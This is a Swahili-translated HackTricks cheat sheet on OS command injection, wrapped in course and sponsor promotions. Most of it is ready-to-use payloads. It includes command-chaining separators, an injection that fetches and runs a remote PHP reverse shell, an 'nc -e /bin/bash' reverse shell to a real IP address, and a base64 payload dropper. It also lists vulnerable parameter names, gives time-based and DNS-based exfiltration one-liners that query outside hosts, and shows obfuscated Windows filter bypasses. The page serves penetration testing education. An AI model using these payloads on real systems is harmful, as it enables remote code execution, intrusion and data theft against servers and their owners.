# Kuingiza Amri

<details>

<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kutumia mifumo ya kazi** kwa urahisi inayotumia zana za jamii za **juu zaidi** duniani.\
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

## Kuingiza Amri ni Nini?

**Kuingiza amri** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji kwa hiari na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data yake yote inaweza kudukuliwa kabisa. Utekelezaji wa amri hizi kawaida huruhusu mshambuliaji kupata ufikiaji usioruhusiwa au udhibiti juu ya mazingira ya programu na mfumo wa msingi.

### Muktadha

Kulingana na **eneo ambapo matokeo yako yanazingizwa** unaweza kuwa unahitaji **kukomesha muktadha ulioorodheshwa** (ukitumia `"` au `'`) kabla ya amri.
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Mipaka** ya Kupita

Ikiwa unajaribu kutekeleza **maagizo ya kiholela ndani ya mashine ya linux** utakuwa na hamu ya kusoma kuhusu hii **Kupita:**

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Vigezo

Hapa kuna vigezo 25 ambavyo vinaweza kuwa hatarini kwa kuingiza nambari na udhaifu sawa na RCE (kutoka [kiungo](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Uchukuzi wa data kulingana na wakati

Kuchota data: herufi kwa herufi
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### Uchakataji wa data kulingana na DNS

Kulingana na chombo kutoka `https://github.com/HoLyVieR/dnsbin` pia kimehifadhiwa kwenye dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
### Kupitisha Uchujaji

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

## Orodha ya Uchunguzi wa Kugundua Kupitia Nguvu

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## Marejeo

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}